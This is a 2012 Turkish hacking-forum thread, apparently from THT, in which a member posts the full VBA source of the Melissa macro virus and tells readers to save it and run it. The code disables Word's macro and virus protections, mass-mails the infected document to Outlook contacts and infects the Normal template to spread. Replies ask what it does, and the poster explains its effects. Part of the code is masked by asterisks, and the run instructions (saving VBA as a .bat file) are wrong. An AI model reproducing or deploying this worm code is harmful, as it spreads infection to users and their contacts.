THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

takipci
Seçenekler

Melissa Virüsü(Çernobilden sonra 2.)

METEOUR - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
70
Konular:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Ticaret:
(0) %
13
1576
26-06-2012 18:00
#1
İyi günler arkadaşlar.Bugün size Melissa Virüsünün kodunu verecem. Bu kodu not defterine yazıp .bat layın

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;9.0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls( "Security...").Enabl ed = False
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls( "Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Applicat ion")
Set DasMapiName = UngaDasOutlook.GetNameSpace("M API")
If System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Ad d Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.A dd Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("" , "HKEY_CURRENT_USER\Softwa re\Microsoft\Office& #092;" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBCom ponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBCom ponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromStr ing ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLine s BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullN ame
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


Beğeni isteyrum
--------------------- ''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
SickeT - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
02/2012
Nereden:
EDİT
Mesajlar:
585
Konular:
73
Teşekkür (Etti):
2
Teşekkür (Aldı):
84
Ticaret:
(0) %
26-06-2012 18:33
#2
ne işe yarar bu neler yapar...
--------------------- Eror
maschera639 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
NeVeRLanD
Mesajlar:
100
Konular:
31
Teşekkür (Etti):
12
Teşekkür (Aldı):
5
Ticaret:
(0) %
26-06-2012 19:52
#3
Krdşm bizim bilgisayara bişe olmz dimi :d
Yusuf111 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2012
Nereden:
System32
Mesajlar:
463
Konular:
147
Teşekkür (Etti):
46
Teşekkür (Aldı):
18
Ticaret:
(0) %
26-06-2012 19:53
#4
Açıklama Koymalısın Ne İşe Yaradığını Belirtmelisiniz
WOLD3MORD - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2011
Nereden:
Baş döndüren yerlerden
Mesajlar:
912
Konular:
137
Teşekkür (Etti):
7
Teşekkür (Aldı):
132
Ticaret:
(0) %
26-06-2012 20:01
#5
bana daha çok microsoft yazılım dili gibi geliyor "örnek" visual basic.
Uzmaniz - ait Kullanıcı Resmi (Avatar)
Özel Üye
Üyelik tarihi:
06/2012
Mesajlar:
12.951
Konular:
297
Teşekkür (Etti):
1318
Teşekkür (Aldı):
6303
Ticaret:
(0) %
26-06-2012 20:12
#6
Sanal bir pc kurmadan kendı pc nızde denemeyın genede tedbırı elden bırakmamak lazım
maschera639 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
NeVeRLanD
Mesajlar:
100
Konular:
31
Teşekkür (Etti):
12
Teşekkür (Aldı):
5
Ticaret:
(0) %
26-06-2012 20:50
#7
Beyler bişe olabilirmi mesaj atarmısınız
METEOUR - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
70
Konular:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Ticaret:
(0) %
27-06-2012 09:34
#8
Arkadaşlar bu melissa virüsü Melissa bir Word 97 makro (macro) virüsü. Oldukça tehlikeli bir virüs, çünkü e-mail yoluyla çok hızlı olarak yayılabiliyor. Word 97 dökümanlarına ve Word 97 ile Word 2000&l8217;in NORMAL.DOT dosyasına bulaşıyor. Virüsün kodu Melissa isimli bir makro bulunduğundan bu adla anılıyor.

Etkisi altına nasıl alıyor peki:Yaptığı en önemli iş e-mail yoluyla çok hızlı bir şekilde yayılması. Bunun dışında ayrıca eğer dakika o günkü tarihle uyuşuyorsa (mesela saat 9:30 ise ve günlerden de ayın 30&l8217;u ise) metine şöyle bir tümce ekliyor : "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game&l8217;s over. I&l8217;m outta here. "
Arkadaşlar bunun başka bi ismi var ama sölemek istemiyorum.(ARGO SAYILIR)


SAygılar
--------------------- ''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
METEOUR - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
70
Konular:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Ticaret:
(0) %
27-06-2012 09:36
#9
Ha söylemişim.Klasik .bat uzantılı ama iyi bi etki istiyordsanız VİSUAL BASİC.
--------------------- ''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785
METEOUR - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2012
Nereden:
Elazığ
Mesajlar:
70
Konular:
4
Teşekkür (Etti):
0
Teşekkür (Aldı):
2
Ticaret:
(0) %
27-06-2012 09:37
#10
Alıntı:
maschera639´isimli üyeden Alıntı Mesajı göster
Krdşm bizim bilgisayara bişe olmz dimi :d
Ordaki .batı açmazsan bir şey olmaz. SAygılar
--------------------- ''Bu hayatta yaptırmak istediklerinin adını iyilik koymuşlar''




---------------H4CK3D By M3T30UR-------------

Facebook Profilhttp://www.facebook.com/Legend785

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler